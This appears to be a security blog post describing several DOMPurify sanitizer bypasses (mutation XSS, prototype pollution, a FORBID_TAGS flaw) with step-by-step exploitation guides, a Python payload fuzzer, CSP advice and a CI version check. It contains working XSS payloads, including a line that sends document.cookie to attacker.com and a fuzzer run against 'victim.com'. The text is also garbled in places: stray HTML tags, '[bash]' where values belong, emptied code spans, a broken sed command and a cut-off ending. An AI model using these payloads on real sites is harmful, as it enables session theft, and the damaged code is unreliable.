XSSocalypse 2026: How a Single DOMPurify Bypass Just Exposed Your Web App (And How to Patch Before It’s Too Late) + Video

Listen to this Post

Featured Image

Introduction:

In May 2026, software engineer and OSCP-certified security researcher Eric Hollohan solved Intigriti’s monthly XSS challenge (0526), exposing a critical vulnerability in a web application that relied on DOMPurify—one of the most trusted HTML sanitization libraries in the world—to cleanse user input. This achievement highlights an ever-growing trend: even battle-hardened sanitizers can be defeated by mutation-based XSS (mXSS) and prototype pollution attacks, turning what developers consider a “secure” application into a fully exploitable target.

Learning Objectives:

  • Understand the technical mechanics of mXSS and prototype pollution bypasses in DOMPurify.
  • Learn to identify vulnerable DOMPurify configurations using manual testing and automated scripts.
  • Master mitigation strategies, including proper library versioning, CSP hardening, and code review checklists.

You Should Know:

  1. The Anatomy of a Modern DOMPurify Bypass (mXSS via Re-Contextualization)

Recent disclosures (GHSA-h8r8-wccr-v5f2) revealed that DOMPurify versions from 3.1.3 through 3.3.1 are vulnerable to mutation-XSS (mXSS) via re-contextualization. This technique hinges on the fact that HTML parsing is not a one-time event. When sanitized output is later reinserted into a wrapper like <xmp>, <iframe>, or <noscript>, the browser’s second pass mutates the sanitized markup into executable code.

How It Works: An attacker crafts a payload that appears benign after DOMPurify sanitization but contains a closing tag for the wrapper element (e.g., </xmp>). During the second parse, this tag prematurely closes the wrapper, allowing embedded malicious attributes like `onerror` to become active.

Step‑by‑Step Exploitation Guide:

  1. Set Up a Local Environment: Create a simple HTML file that includes DOMPurify 3.3.1 and a vulnerable wrapper.
    <!DOCTYPE html>
    <html>
    <head>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
    </head>
    <body></li>
    </ol>
    
    <div id="output"></div>
    
    <script>
    // Payload that abuses the <xmp> wrapper
    const dirtyPayload = `<xmp><img alt="</xmp><img src=x onerror=alert(1)">`;
    const clean = DOMPurify.sanitize(dirtyPayload);
    document.getElementById('output').innerHTML = clean;
    </script>
    
    </body>
    </html>
    

    2. Observe the Mutation: The initial sanitization passes the payload, but once reinserted into innerHTML, the `` tag closes the wrapper early, activating the `alert(1)` event handler.
    3. Scale the Attack: For real-world exploitation, replace `alert(1)` with a callback to an attacker-controlled server:

    const exfilPayload = <code><xmp><img alt="</xmp><img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)"></code>;
    

    Mitigation Commands:

    • Check current version (Linux/macOS):
      npm list dompurify
      
    • Upgrade to a patched version (3.3.2 or higher):
      npm install dompurify@latest
      

    2. Prototype Pollution: The Silent XSS Enabler (CVE-2026-41238)

    A more insidious bypass—CVE-2026-41238—affects DOMPurify 3.0.1 through 3.3.3, where prior prototype pollution can force the library to accept arbitrary custom elements and event handlers. Attackers poison `Object.prototype` with permissive regex values, tricking DOMPurify into allowing malicious tags and attributes.

    Step‑by‑Step Exploitation Guide:

    1. Inject a Prototype Pollution Gadget: This often occurs via query parameters, JSON input, or other sinks that merge user-controlled objects.
      // Example pollution payload sent to a vulnerable endpoint
      { "<strong>proto</strong>": { "tagNameCheck": /./, "attributeNameCheck": /./ } }
      
    2. Craft the XSS Payload: After pollution, submit a standard XSS payload like:
      <custom-element onmouseover="alert(1)">Click me</custom-element>
      

      DOMPurify will mistakenly allow it because the regex checks have been overwritten.

    3. Verify the Bypass: Use browser console to confirm pollution:
      console.log({}.tagNameCheck); // Output: /./
      

      If the regex accepts all characters, the bypass is active.

    Linux/Windows Detection Script:

    Create a script to test for prototype pollution susceptibility in Node.js:

    // save as pollution-test.js
    const { execSync } = require('child_process');
    const semver = require('semver');
    const pkg = require('./package.json');
    const version = pkg.dependencies.dompurify;
    if (semver.satisfies(version, '>=3.0.1 <=3.3.3')) {
    console.warn('[!] Vulnerable DOMPurify version detected! Upgrade to 3.4.0+');
    } else {
    console.log('[+] DOMPurify version is safe.');
    }
    

    Run with: `node pollution-test.js`

    3. The FORBID_TAGS Asymmetry Bypass (CVE-2026-41240)

    In versions prior to 3.4.0, DOMPurify mishandles the interaction between `FORBID_TAGS` and function-based `ADD_TAGS` configurations, allowing forbidden elements—even `script` tags—to survive sanitization.

    Step‑by‑Step Exploitation Guide:

    1. Identify Weak Configurations: Look for implementations where `ADD_TAGS` uses a predicate function.
    2. Submit a Nested Payload: Since the check for `FORBID_TAGS` is skipped when `EXTRA_ELEMENT_HANDLING.tagCheck` returns true, the following payload may execute:
      <script>alert(document.domain)</script>
      

      No obfuscation needed; the library simply fails to block it.

    3. Validate on Target: If the page renders the script tag without escaping, the XSS is successful.

    Remediation (Windows Command Prompt as Admin):

    cd C:\path\to\your\project
    npm update dompurify
    npm audit fix
    

    4. Building a Custom XSS Detection Fuzzer

    To systematically test for these bypasses, security teams can create a custom fuzzer that cycles through known vectors and monitors for JavaScript execution.

    Python Fuzzing Script (Linux/macOS):

     dompurify_fuzzer.py
    import requests
    import sys
    
    payloads = [
    '<xmp><img alt="</xmp><img src=x onerror=alert(1)">',
    '<select><button><selectedcontent></selectedcontent></button><option selected=javascript:1><img src=x onerror=alert(1)></option></select>',
    '<custom-element onmouseover="fetch(\'https://attacker.com\')">Click</custom-element>'
    ]
    
    target_url = sys.argv[bash] if len(sys.argv) > 1 else 'http://localhost:3000/search?q='
    
    for p in payloads:
    response = requests.get(target_url + requests.utils.quote(p))
    if 'alert' in response.text or 'fetch' in response.text:
    print(f'[!] Potential XSS with payload: {p}')
    else:
    print(f'[-] No immediate reflection for: {p}')
    

    Run the fuzzer: `python3 dompurify_fuzzer.py http://victim.com/search?q=`

    5. Hardening Content Security Policy Against mXSS

    Even if DOMPurify is bypassed, a strong CSP can prevent payload execution. However, misconfigurations like `unsafe-inline` or overly broad `script-src` ruin this defense.

    Recommended CSP Header:

    Content-Security-Policy: default-src 'none'; script-src 'self'; object-src 'none'; base-uri 'self';
    

    Testing CSP Effectiveness (Browser DevTools):

    1. Open Developer Tools → Console.

    2. Attempt to inject a script dynamically:

    var s = document.createElement('script');
    s.innerText = 'alert(1)';
    document.head.appendChild(s);
    

    3. If the CSP blocks it, you’ll see a violation error in the console.

    Linux Command to Validate CSP Headers:

    curl -I https://example.com | grep -i "content-security-policy"
    

    6. Automating Library Vulnerability Scanning with CI/CD

    Integrate DOMPurify version checks directly into your pipeline to catch outdated dependencies before deployment.

    GitHub Actions Workflow (`.github/workflows/audit.yml`):

    name: Dependency Audit
    on: [bash]
    jobs:
    audit:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
    - name: Install dependencies
    run: npm install
    - name: Run DOMPurify version check
    run: |
    VERSION=$(npm list dompurify --depth=0 | grep dompurify | sed 's/.@//')
    if [[ "$VERSION" < "3.4.0" ]]; then
    echo "::error::Vulnerable DOMPurify version $VERSION detected. Upgrade to 3.4.0+"
    exit 1
    fi
    

    What Undercode Say:

    • Key Takeaway 1: Trusting a sanitization library blindly is a recipe for disaster; layered defenses (CSP + input validation + regular updates) are non-negotiable.
    • Key Takeaway 2: Modern XSS is no longer about simple `